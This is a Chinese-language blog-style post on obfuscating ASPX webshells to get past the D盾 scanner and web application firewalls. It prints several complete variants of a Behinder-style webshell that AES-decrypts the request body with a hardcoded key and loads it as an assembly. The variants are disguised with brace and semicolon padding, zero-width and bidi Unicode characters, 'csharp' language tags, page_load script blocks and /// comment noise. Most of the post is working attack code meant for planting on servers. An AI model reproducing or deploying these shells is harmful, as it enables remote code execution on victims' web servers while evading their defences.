说实话,D盾的aspx检测模块挺神奇的。
花括号和分号
{}和分号;在原本语法结束的地方可以添加大量的该类混淆,不会影响其原本的解析
<% @page language=c#%>;;;;;;;;;;;;;;;;;;;;
<%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");{{{}}} byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);{{{;}}} Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);;;;;;;;;;;;;;;;;;;;;%>
能够一定程度的影响其解析
unicode空白连接符
我们都知道,unicode是支持在aspx里进行的,同样的,它也支持asmx和ashx,估计这类特性都是通用的。
并且我们知道,在unicode有一类字符叫做zwj零宽连字(全称 zero width joiner)
常见的zwj字符有如下几个
\u200c
\u200d
\u200e
\u200f
一个比较有意思的点吧,emoji的表情就是用zwj字符来进行连接的
除了上面的zwj,还有一种unicode编码叫做零宽不折行空格,也就是如下几种字符,都支持在字符间进行拼接,具体的概念可以直接百度。
\ufeff
\u202a
\u202b
\u202c
\u202d
\u202e
我们在asp.net环境下就可以利用上述的各种冷门unicode编码来对抗一些waf了
<%@language = c#%>
<%@Import Namespace=”System.Reflection”%>
<%Session.Add(“k”,”e45e329feb5d925b”); byte[] k = Encoding.Default.GetBytes(Session[0] + “”),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance(“U”).Equals(this);;;;;;;;;;;;;;;;;;;;;%>
aspx别的声明标签
我们知道<% @language=”C#” %>可以与<% @language=”Csharp” %>进行替换
我们知道,在Php中有
也可以写成下面的这种形式
可以看到仅需要添加void page_load(){ } 相关代码,代码大致如下
<script language=csharp runat=server>
void page_load(){
Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
</script>
当然,这只是一直简单的替换方式,我们可以和别的Bypass方式进行相结合。
就好比之前的c# 替换成 csharp一样,在去年一次实战中就遇到一个AF就拦截 c# 而不拦截 csharp 。
换行特性
这个很简单哈,没什么好说的,效果比较一般
在没有换行之前
换行之后,可以看到还是起到一定的作用的,只不过不是很明显
成功连接,没有太大问题
c#的 ///特性和xml
在标准的情况下,c#规定了/// 能够在aspx中作为xml语法的注释,那么我们缩短一下语句,它是注释。
直接看demo案例吧,在不破坏直接语法的情况下(使用换行隔开,可以产生如下的效果)。
我们可以将该类的注释特性与aspx原本的/xx/和来进行一些结合,
成功
<%
@
language
=
c#
%>
<%
@Import
Namespace="System.Reflection"%>
<%Session.Add("k",
//////@#@!#!@#!@#!@#!@#!@#!@#
"e45e329feb5d925b"); byte[]
//////@#@!#!@#!@#!@#!@#!@#!@#
k = Encoding.Default.GetBytes(Session[0] + ""),
//////@#@!#!@#!@#!@#!@#!@#!@#
c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
//////@#@!#!@#!@#!@#!@#!@#!@#
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>
失败,如果不是//则会出现语法解析错误的问题
<%@language = c#%>
<%@Import Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth);
\\
Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>